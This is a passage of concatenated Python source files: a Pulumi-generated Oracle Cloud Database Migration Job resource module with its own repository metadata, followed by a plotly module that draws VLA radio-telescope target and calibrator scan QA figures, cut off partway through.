(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@pulumi.input_type
class _JobState:
def __init__(__self__, *,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
job_id: Optional[pulumi.Input[str]] = None,
lifecycle_details: Optional[pulumi.Input[str]] = None,
migration_id: Optional[pulumi.Input[str]] = None,
progress: Optional[pulumi.Input['JobProgressArgs']] = None,
state: Optional[pulumi.Input[str]] = None,
system_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_updated: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[str]] = None,
unsupported_objects: Optional[pulumi.Input[Sequence[pulumi.Input['JobUnsupportedObjectArgs']]]] = None):
"""
Input properties used for looking up and filtering Job resources.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) Name of the job.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[str] job_id: The OCID of the job
:param pulumi.Input[str] lifecycle_details: A message describing the current state in more detail. For example, can be used to provide actionable information for a resource in Failed state.
:param pulumi.Input[str] migration_id: The OCID of the Migration that this job belongs to.
:param pulumi.Input['JobProgressArgs'] progress: Percent progress of job phase.
:param pulumi.Input[str] state: The current state of the migration job.
:param pulumi.Input[Mapping[str, Any]] system_tags: Usage of system tag keys. These predefined keys are scoped to namespaces. Example: `{"orcl-cloud.free-tier-retained": "true"}`
:param pulumi.Input[str] time_created: The time the DB Migration Job was created. An RFC3339 formatted datetime string
:param pulumi.Input[str] time_updated: The time the DB Migration Job was last updated. An RFC3339 formatted datetime string
:param pulumi.Input[str] type: Type of unsupported object
:param pulumi.Input[Sequence[pulumi.Input['JobUnsupportedObjectArgs']]] unsupported_objects: Database objects not supported.
"""
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
if job_id is not None:
pulumi.set(__self__, "job_id", job_id)
if lifecycle_details is not None:
pulumi.set(__self__, "lifecycle_details", lifecycle_details)
if migration_id is not None:
pulumi.set(__self__, "migration_id", migration_id)
if progress is not None:
pulumi.set(__self__, "progress", progress)
if state is not None:
pulumi.set(__self__, "state", state)
if system_tags is not None:
pulumi.set(__self__, "system_tags", system_tags)
if time_created is not None:
pulumi.set(__self__, "time_created", time_created)
if time_updated is not None:
pulumi.set(__self__, "time_updated", time_updated)
if type is not None:
pulumi.set(__self__, "type", type)
if unsupported_objects is not None:
pulumi.set(__self__, "unsupported_objects", unsupported_objects)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) Name of the job.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@property
@pulumi.getter(name="jobId")
def job_id(self) -> Optional[pulumi.Input[str]]:
"""
The OCID of the job
"""
return pulumi.get(self, "job_id")
@job_id.setter
def job_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "job_id", value)
@property
@pulumi.getter(name="lifecycleDetails")
def lifecycle_details(self) -> Optional[pulumi.Input[str]]:
"""
A message describing the current state in more detail. For example, can be used to provide actionable information for a resource in Failed state.
"""
return pulumi.get(self, "lifecycle_details")
@lifecycle_details.setter
def lifecycle_details(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "lifecycle_details", value)
@property
@pulumi.getter(name="migrationId")
def migration_id(self) -> Optional[pulumi.Input[str]]:
"""
The OCID of the Migration that this job belongs to.
"""
return pulumi.get(self, "migration_id")
@migration_id.setter
def migration_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "migration_id", value)
@property
@pulumi.getter
def progress(self) -> Optional[pulumi.Input['JobProgressArgs']]:
"""
Percent progress of job phase.
"""
return pulumi.get(self, "progress")
@progress.setter
def progress(self, value: Optional[pulumi.Input['JobProgressArgs']]):
pulumi.set(self, "progress", value)
@property
@pulumi.getter
def state(self) -> Optional[pulumi.Input[str]]:
"""
The current state of the migration job.
"""
return pulumi.get(self, "state")
@state.setter
def state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "state", value)
@property
@pulumi.getter(name="systemTags")
def system_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
Usage of system tag keys. These predefined keys are scoped to namespaces. Example: `{"orcl-cloud.free-tier-retained": "true"}`
"""
return pulumi.get(self, "system_tags")
@system_tags.setter
def system_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "system_tags", value)
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> Optional[pulumi.Input[str]]:
"""
The time the DB Migration Job was created. An RFC3339 formatted datetime string
"""
return pulumi.get(self, "time_created")
@time_created.setter
def time_created(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_created", value)
@property
@pulumi.getter(name="timeUpdated")
def time_updated(self) -> Optional[pulumi.Input[str]]:
"""
The time the DB Migration Job was last updated. An RFC3339 formatted datetime string
"""
return pulumi.get(self, "time_updated")
@time_updated.setter
def time_updated(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_updated", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[str]]:
"""
Type of unsupported object
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "type", value)
@property
@pulumi.getter(name="unsupportedObjects")
def unsupported_objects(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JobUnsupportedObjectArgs']]]]:
"""
Database objects not supported.
"""
return pulumi.get(self, "unsupported_objects")
@unsupported_objects.setter
def unsupported_objects(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JobUnsupportedObjectArgs']]]]):
pulumi.set(self, "unsupported_objects", value)
class Job(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
job_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
This resource provides the Job resource in Oracle Cloud Infrastructure Database Migration service.
Update a Migration Job resource details.
## Import
Jobs can be imported using the `id`, e.g.
```sh
$ pulumi import oci:databasemigration/job:Job test_job "id"
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) Name of the job.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[str] job_id: The OCID of the job
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: JobArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
This resource provides the Job resource in Oracle Cloud Infrastructure Database Migration service.
Update a Migration Job resource details.
## Import
Jobs can be imported using the `id`, e.g.
```sh
$ pulumi import oci:databasemigration/job:Job test_job "id"
```
:param str resource_name: The name of the resource.
:param JobArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(JobArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
job_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = JobArgs.__new__(JobArgs)
__props__.__dict__["defined_tags"] = defined_tags
__props__.__dict__["display_name"] = display_name
__props__.__dict__["freeform_tags"] = freeform_tags
if job_id is None and not opts.urn:
raise TypeError("Missing required property 'job_id'")
__props__.__dict__["job_id"] = job_id
__props__.__dict__["lifecycle_details"] = None
__props__.__dict__["migration_id"] = None
__props__.__dict__["progress"] = None
__props__.__dict__["state"] = None
__props__.__dict__["system_tags"] = None
__props__.__dict__["time_created"] = None
__props__.__dict__["time_updated"] = None
__props__.__dict__["type"] = None
__props__.__dict__["unsupported_objects"] = None
super(Job, __self__).__init__(
'oci:databasemigration/job:Job',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
job_id: Optional[pulumi.Input[str]] = None,
lifecycle_details: Optional[pulumi.Input[str]] = None,
migration_id: Optional[pulumi.Input[str]] = None,
progress: Optional[pulumi.Input[pulumi.InputType['JobProgressArgs']]] = None,
state: Optional[pulumi.Input[str]] = None,
system_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_updated: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[str]] = None,
unsupported_objects: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['JobUnsupportedObjectArgs']]]]] = None) -> 'Job':
"""
Get an existing Job resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) Name of the job.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[str] job_id: The OCID of the job
:param pulumi.Input[str] lifecycle_details: A message describing the current state in more detail. For example, can be used to provide actionable information for a resource in Failed state.
:param pulumi.Input[str] migration_id: The OCID of the Migration that this job belongs to.
:param pulumi.Input[pulumi.InputType['JobProgressArgs']] progress: Percent progress of job phase.
:param pulumi.Input[str] state: The current state of the migration job.
:param pulumi.Input[Mapping[str, Any]] system_tags: Usage of system tag keys. These predefined keys are scoped to namespaces. Example: `{"orcl-cloud.free-tier-retained": "true"}`
:param pulumi.Input[str] time_created: The time the DB Migration Job was created. An RFC3339 formatted datetime string
:param pulumi.Input[str] time_updated: The time the DB Migration Job was last updated. An RFC3339 formatted datetime string
:param pulumi.Input[str] type: Type of unsupported object
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['JobUnsupportedObjectArgs']]]] unsupported_objects: Database objects not supported.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _JobState.__new__(_JobState)
__props__.__dict__["defined_tags"] = defined_tags
__props__.__dict__["display_name"] = display_name
__props__.__dict__["freeform_tags"] = freeform_tags
__props__.__dict__["job_id"] = job_id
__props__.__dict__["lifecycle_details"] = lifecycle_details
__props__.__dict__["migration_id"] = migration_id
__props__.__dict__["progress"] = progress
__props__.__dict__["state"] = state
__props__.__dict__["system_tags"] = system_tags
__props__.__dict__["time_created"] = time_created
__props__.__dict__["time_updated"] = time_updated
__props__.__dict__["type"] = type
__props__.__dict__["unsupported_objects"] = unsupported_objects
return Job(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
(Updatable) Name of the job.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@property
@pulumi.getter(name="jobId")
def job_id(self) -> pulumi.Output[str]:
"""
The OCID of the job
"""
return pulumi.get(self, "job_id")
@property
@pulumi.getter(name="lifecycleDetails")
def lifecycle_details(self) -> pulumi.Output[str]:
"""
A message describing the current state in more detail. For example, can be used to provide actionable information for a resource in Failed state.
"""
return pulumi.get(self, "lifecycle_details")
@property
@pulumi.getter(name="migrationId")
def migration_id(self) -> pulumi.Output[str]:
"""
The OCID of the Migration that this job belongs to.
"""
return pulumi.get(self, "migration_id")
@property
@pulumi.getter
def progress(self) -> pulumi.Output['outputs.JobProgress']:
"""
Percent progress of job phase.
"""
return pulumi.get(self, "progress")
@property
@pulumi.getter
def state(self) -> pulumi.Output[str]:
"""
The current state of the migration job.
"""
return pulumi.get(self, "state")
@property
@pulumi.getter(name="systemTags")
def system_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
Usage of system tag keys. These predefined keys are scoped to namespaces. Example: `{"orcl-cloud.free-tier-retained": "true"}`
"""
return pulumi.get(self, "system_tags")
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> pulumi.Output[str]:
"""
The time the DB Migration Job was created. An RFC3339 formatted datetime string
"""
return pulumi.get(self, "time_created")
@property
@pulumi.getter(name="timeUpdated")
def time_updated(self) -> pulumi.Output[str]:
"""
The time the DB Migration Job was last updated. An RFC3339 formatted datetime string
"""
return pulumi.get(self, "time_updated")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
Type of unsupported object
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="unsupportedObjects")
def unsupported_objects(self) -> pulumi.Output[Sequence['outputs.JobUnsupportedObject']]:
"""
Database objects not supported.
"""
return pulumi.get(self, "unsupported_objects")
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c8dc09e693416b523e6317bdbe0d5f82771855ea
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webapp/api/v1/__init__.py
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[
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webapp/api/v1/__init__.py
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davidlmorton/webapp-skeleton
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c8dc09e693416b523e6317bdbe0d5f82771855ea
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from . blueprint import blueprint # noqa
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2022-03-01T17:57:21.000Z
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afec2cf363b6cb69816e7724a2b58626e2165869
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[
"MIT"
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2021-12-29T02:15:55.000Z
|
2022-03-09T11:04:22.000Z
|
test_data/parse_retree/unexpected/invalid_quantifier/between_3_and_x/source.py
|
aas-core-works/aas-core-codegen
|
afec2cf363b6cb69816e7724a2b58626e2165869
|
[
"MIT"
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py
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Python
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5ecb555c64350cb13c3885a78fe89a40994e9d0e
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2022-03-24T13:31:19.000Z
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examples/compare.py
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[
"Apache-2.0"
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2022-03-17T10:08:14.000Z
|
examples/compare.py
|
LayneInNL/py2flows
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5ecb555c64350cb13c3885a78fe89a40994e9d0e
|
[
"Apache-2.0"
] | 1
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|
2022-03-21T12:10:18.000Z
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py
|
Python
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qaplotter/field_plots.py
|
LocalGroup-VLALegacy/QAPlotter
|
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|
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"MIT",
"BSD-3-Clause"
] | null | null | null |
qaplotter/field_plots.py
|
LocalGroup-VLALegacy/QAPlotter
|
42df6b6a02714b984012b8908c564ef20fd0853d
|
[
"MIT",
"BSD-3-Clause"
] | 3
|
2020-12-03T23:42:14.000Z
|
2022-03-21T12:47:44.000Z
|
qaplotter/field_plots.py
|
LocalGroup-VLALegacy/QAPlotter
|
42df6b6a02714b984012b8908c564ef20fd0853d
|
[
"MIT",
"BSD-3-Clause"
] | null | null | null |
import plotly.graph_objects as go
import plotly.express as px
from plotly.subplots import make_subplots
import numpy as np
from .utils import vla_time_conversion
# Define a common set of markers to plot for different correlations
# e.g. RR, LL, RL, LR
markers = ['circle', 'cross', 'triangle-up', 'triangle-down']
def target_scan_figure(table_dict, meta_dict, show=False,
scatter_plot=go.Scattergl,
corrs=['RR', 'LL'],
spw_dict=None,
show_linesonly=False):
'''
Make a 3-panel figure for target scans.
'''
# There should be 3 fields:
exp_keys = {'amp_chan': {'x': 'freq', 'y': 'y', 'row': 1, 'col': 1,
"title": "Amp vs. Freq<br>Time & Baseline avg"},
'amp_time': {'x': 'time', 'y': 'y', 'row': 1, 'col': 2,
"title": "Amp vs. Time<br>Freq & Baseline avg"},
'amp_uvdist': {'x': 'x', 'y': 'y', 'row': 1, 'col': 3,
"title": "Amp vs. uv-dist<br>Time & Freq avg"}}
for key in exp_keys:
if key not in table_dict.keys():
raise KeyError(f"Required dict key {key} not found.")
subplot_titles = [exp_keys['amp_chan']['title'],
exp_keys['amp_time']['title'],
exp_keys['amp_uvdist']['title']]
fig = make_subplots(rows=1, cols=3, subplot_titles=subplot_titles)
hovertemplate = 'Scan: %{customdata[0]}<br>SPW: %{customdata[1]}<br>Chan: %{customdata[2]}<br>Freq: %{customdata[3]}<br>Corr: %{customdata[4]}<br>Ant1: %{customdata[5]}<br>Ant2: %{customdata[6]}<br>Time: %{customdata[7]}'
spw_nums = np.unique(table_dict['amp_chan']['spw'].tolist())
# When requested, show lines only for mixed continuum/line data sets.
# SPWs are defined by their name when the spw_dict is passed.
# Lines do not have "continuum" in their name.
spw_labels = {}
if spw_dict is not None:
for key in spw_dict:
# Filter out the continuum SPWs
if "continuum" in spw_dict[key]['label']:
continue
spw_labels[key] = spw_dict[key]['label']
if show_linesonly and spw_dict is not None:
line_spw_nums = []
for key in spw_dict:
# Filter out the continuum SPWs
if "continuum" in spw_dict[key]['label']:
continue
# In case there are SPWs not in the data.
if not key in spw_nums:
continue
line_spw_nums.append(key)
spw_nums = line_spw_nums
def make_casa_timestring(x):
datetime_vals = vla_time_conversion(x)
return [dtime.strftime("%Y/%m/%d/%H:%M:%S.%f")[:-5]
for dtime in datetime_vals]
colors_dict = {"SPW": [],
"Scan": [],
"Ant1": [],
"Ant2": [],
"Corr": []}
for nn, key in enumerate(exp_keys):
# Convert the time axis values to strings
# Time is always the x-axis.
if "time" in key:
def format_xvals(x):
datetime_vals = vla_time_conversion(x)
return datetime_vals
else:
def format_xvals(x):
return x
tab_data = table_dict[key]
# Check if the table is empty
if len(tab_data) == 0:
print("Empty data table found. Skipping")
continue
for nspw, spw in enumerate(spw_nums):
spw_mask = tab_data['spw'] == spw
if corrs is None:
corrs = np.unique(tab_data['corr'][spw_mask].tolist())
for nc, (corr, marker) in enumerate(zip(corrs, markers)):
corr_mask = (tab_data['corr'] == corr).tolist()
custom_data = np.vstack((tab_data['scan'][spw_mask & corr_mask].tolist(),
tab_data['spw'][spw_mask & corr_mask].tolist(),
tab_data['chan'][spw_mask & corr_mask].tolist(),
tab_data['freq'][spw_mask & corr_mask].tolist(),
tab_data['corr'][spw_mask & corr_mask].tolist(),
tab_data['ant1name'][spw_mask & corr_mask].tolist(),
tab_data['ant2name'][spw_mask & corr_mask].tolist(),
make_casa_timestring(tab_data['time'][spw_mask & corr_mask].tolist()))).T
# We're also going to record colors based on Scan and SPW
# SPW are unique and the colour palette has 11 colours.
spw_data = tab_data['spw'][spw_mask & corr_mask].tolist()
colors_dict['SPW'].append([px.colors.qualitative.Safe[nspw % 11] for _ in range(len(spw_data))])
# Want to map to unique scan values, not the scan numbers themselves
# (i.e., 50, 60, 70 -> 0, 1, 2)
scan_data = tab_data['scan'][spw_mask & corr_mask].tolist()
scan_map_dict = {}
for n_uniq, scan in enumerate(np.unique(scan_data)):
scan_map_dict[scan] = n_uniq
colors_dict['Scan'].append([px.colors.qualitative.Safe[scan_map_dict[scan] % 11]
for scan in scan_data])
# And antennas for colours. Same approach as scans
ant_data = tab_data['ant1name'][spw_mask & corr_mask].tolist()
ant1_map_dict = {}
for n_uniq, ant in enumerate(np.unique(ant_data)):
ant1_map_dict[ant] = n_uniq
colors_dict['Ant1'].append([px.colors.qualitative.Safe[ant1_map_dict[ant] % 11]
for ant in ant_data])
ant_data = tab_data['ant2name'][spw_mask & corr_mask].tolist()
ant2_map_dict = {}
for n_uniq, ant in enumerate(np.unique(ant_data)):
ant2_map_dict[ant] = n_uniq
colors_dict['Ant2'].append([px.colors.qualitative.Safe[ant2_map_dict[ant] % 11]
for ant in ant_data])
# And corr
colors_dict['Corr'].append([px.colors.qualitative.Safe[nc % 11]
for _ in range(len(spw_data))])
spw_str = f"SPW {spw}"
if spw in spw_labels:
spw_str += f"<br>({spw_labels[spw]})"
fig.append_trace(scatter_plot(x=format_xvals(tab_data[exp_keys[key]['x']][spw_mask & corr_mask]),
y=tab_data[exp_keys[key]['y']][spw_mask & corr_mask],
mode='markers',
marker=dict(symbol=marker,
size=7,
color=colors_dict['SPW'][-1]),
customdata=custom_data,
hovertemplate=hovertemplate,
name=spw_str,
legendgroup=str(spw),
showlegend=True if (nn == 0 and nc == 0) else False),
row=exp_keys[key]['row'], col=exp_keys[key]['col'],
)
# Here's what needs to be updated for the colors
# fig['data'][0]['marker']['color']
# Make custom time ticks in a nicer format.
# Also scale with zoom to stop tick labels from overlapping in different subplots.
for key in exp_keys:
if "time" not in key:
continue
fig.update_xaxes(rangeslider_visible=False,
tickformatstops=[dict(dtickrange=[None, 1000e3], value="%H:%M:%S"),
dict(dtickrange=[1000e3, None], value="%H:%M:%S"),
],
row=exp_keys[key]['row'],
col=exp_keys[key]['col'])
fig.update_xaxes(nticks=8)
fig.update_yaxes(nticks=8)
fig['layout']['xaxis']['title'] = 'Frequency (GHz)'
fig['layout']['xaxis2']['title'] = 'Time (UTC)'
fig['layout']['xaxis3']['title'] = 'uv-distance (m)'
fig['layout']['yaxis']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis2']['title'] = 'Amplitude (Jy)'
fig['layout']['yaxis3']['title'] = 'Amplitude (Jy)'
meta = meta_dict['amp_time']
fig.update_layout(
title=f"Field: {meta['field']} Intent: {meta_dict['intent']}<br>MS: {meta['vis']}",
font=dict(family="Courier New, monospace",
size=15,
color="#7f7f7f")
)
updatemenus = go.layout.Updatemenu(type='buttons',
direction='left',
showactive=True,
x=1.01,
xanchor="right",
y=1.15,
yanchor="top",
buttons=list([dict(label='SPW',
method='update',
args=[{'marker.color': [col for col in colors_dict['SPW']]}],
),
dict(label='Scan',
method='update',
args=[{'marker.color': [col for col in colors_dict['Scan']]}],
),
dict(label='Ant1',
method='update',
args=[{'marker.color': [col for col in colors_dict['Ant1']]}],
),
dict(label='Ant2',
method='update',
args=[{'marker.color': [col for col in colors_dict['Ant2']]}],
),
dict(label='Corr',
method='update',
args=[{'marker.color': [col for col in colors_dict['Corr']]}],
),
]))
fig.update_layout(updatemenus=[updatemenus],
margin=dict(t=150))
if show:
fig.show()
return fig
def calibrator_scan_figure(table_dict, meta_dict, show=False, scatter_plot=go.Scattergl,
corrs=['RR', 'LL'], spw_dict=None):
'''
Make a 12-panel (4x3) figure for calibrator scans.
'''
# There should be 10 fields:
exp_keys = {'amp_chan': {'x': 'freq', 'y': 'y', 'row': 1, 'col': 1,
"title": "Amp vs. Freq<br>Time & Baseline avg"},
'amp_time': {'x': 'time', 'y': 'y', 'row': 1, 'col': 2,
"title": "Amp vs. Time<br>Freq & Baseline avg"},
'amp_uvdist': {'x': 'x', 'y': 'y', 'row': 1, 'col': 3,
"title": "Amp vs. uv-dist<br>Time & Freq avg"},
'amp_phase': {'x': 'y', 'y': 'x', 'row': 1, 'col': 4,
"title": "Amp vs. Phase<br>Time & Freq avg"},
'phase_chan': {'x': 'freq', 'y': 'y', 'row': 2, 'col': 1,
"title": "Phase vs. Freq<br>Time & Baseline avg"},
'phase_time': {'x': 'time', 'y': 'y', 'row': 2, 'col': 2,
"title": "Phase vs. Time<br>Freq & Baseline avg"},
'phase_uvdist': {'x': 'x', 'y': 'y', 'row': 2, 'col': 3,
"title": "Phase vs. uv-dist<br>Time & Freq avg"},
'ampresid_uvwave': {'x': 'x', 'y': 'y', 'row': 2, 'col': 4,
"title": "Resid Amp vs. uv-wave<br>Time & Freq avg"},
'amp_ant1': {'x': 'x', 'y': 'y', 'row': 3, 'col': 1,
"title": "Amp vs. Ant 1.<br>Time & Freq avg"},
'phase_ant1': {'x': 'x', 'y': 'y', 'row': 3, 'col': 2,
"title": "Phase vs. Ant 1.<br>Time & Freq avg"}}
# Make the antenna plots optional because they were added later.
if not 'amp_ant1' in table_dict.keys():
del exp_keys['amp_ant1']
if not 'phase_ant1' in table_dict.keys():
del exp_keys['phase_ant1']
for key in exp_keys:
if key not in table_dict.keys():
raise KeyError(f"Required dict key {key} not found.")
# It's easier to just do this by-hand. Or switch to an ordereddict
subplot_titles = [exp_keys['amp_chan']['title'],
exp_keys['amp_time']['title'],
exp_keys['amp_uvdist']['title'],
exp_keys['amp_phase']['title'],
exp_keys['phase_chan']['title'],
exp_keys['phase_time']['title'],
exp_keys['phase_uvdist']['title'],
exp_keys['ampresid_uvwave']['title']]
if 'amp_ant1' in table_dict.keys():
subplot_titles.append(exp_keys['amp_ant1']['title'])
if 'phase_ant1' in table_dict.keys():
subplot_titles.append(exp_keys['phase_ant1']['title'])
fig = make_subplots(rows=3, cols=4, subplot_titles=subplot_titles)
hovertemplate = 'Scan: %{customdata[0]}<br>SPW: %{customdata[1]}<br>Chan: %{customdata[2]}<br>Freq: %{customdata[3]}<br>Corr: %{customdata[4]}<br>Ant1: %{customdata[5]}<br>Ant2: %{customdata[6]}<br>Time: %{customdata[7]}'
spw_nums = np.unique(table_dict['amp_chan']['spw'].tolist())
spw_labels = {}
if spw_dict is not None:
for key in spw_dict:
# Filter out the continuum SPWs
if "continuum" in spw_dict[key]['label']:
continue
spw_labels[key] = spw_dict[key]['label']
def make_casa_timestring(x):
datetime_vals = vla_time_conversion(x)
return [dtime.strftime("%Y/%m/%d/%H:%M:%S.%f")[:-5]
for dtime in datetime_vals]
colors_dict = {"SPW": [],
"Scan": [],
"Ant1": [],
"Ant2": [],
"Corr": []}
for nspw, spw in enumerate(spw_nums):
for nn, key in enumerate(exp_keys):
# Convert the time axis values to strings
# Time is always the x-axis.
if "time" in key:
def format_xvals(x):
datetime_vals = vla_time_conversion(x)
return datetime_vals
else:
def format_xvals(x):
return x
tab_data = table_dict[key]
spw_mask = tab_data['spw'] == spw
if corrs is None:
corrs = np.unique(tab_data['corr'][spw_mask].tolist())
for nc, (corr, marker) in enumerate(zip(corrs, markers)):
corr_mask = (tab_data['corr'] == corr).tolist()
custom_data = np.vstack((tab_data['scan'][spw_mask & corr_mask].tolist(),
tab_data['spw'][spw_mask & corr_mask].tolist(),
tab_data['chan'][spw_mask & corr_mask].tolist(),
tab_data['freq'][spw_mask & corr_mask].tolist(),
tab_data['corr'][spw_mask & corr_mask].tolist(),
tab_data['ant1name'][spw_mask & corr_mask].tolist(),
tab_data['ant2name'][spw_mask & corr_mask].tolist(),
make_casa_timestring(tab_data['time'][spw_mask & corr_mask].tolist()))).T
# We're also going to record colors based on Scan and SPW
# SPW are unique and the colour palette has 11 colours.
spw_data = tab_data['spw'][spw_mask & corr_mask].tolist()
colors_dict['SPW'].append([px.colors.qualitative.Safe[nspw % 11] for _ in range(len(spw_data))])
# Want to map to unique scan values, not the scan numbers themselves
# (i.e., 50, 60, 70 -> 0, 1, 2)
scan_data = tab_data['scan'][spw_mask & corr_mask].tolist()
scan_map_dict = {}
for n_uniq, scan in enumerate(np.unique(scan_data)):
scan_map_dict[scan] = n_uniq
colors_dict['Scan'].append([px.colors.qualitative.Safe[scan_map_dict[scan] % 11]
for scan in scan_data])
# And antennas for colours. Same approach as scans
ant_data = tab_data['ant1name'][spw_mask & corr_mask].tolist()
ant1_map_dict = {}
for n_uniq, ant in enumerate(np.unique(ant_data)):
ant1_map_dict[ant] = n_uniq
colors_dict['Ant1'].append([px.colors.qualitative.Safe[ant1_map_dict[ant] % 11]
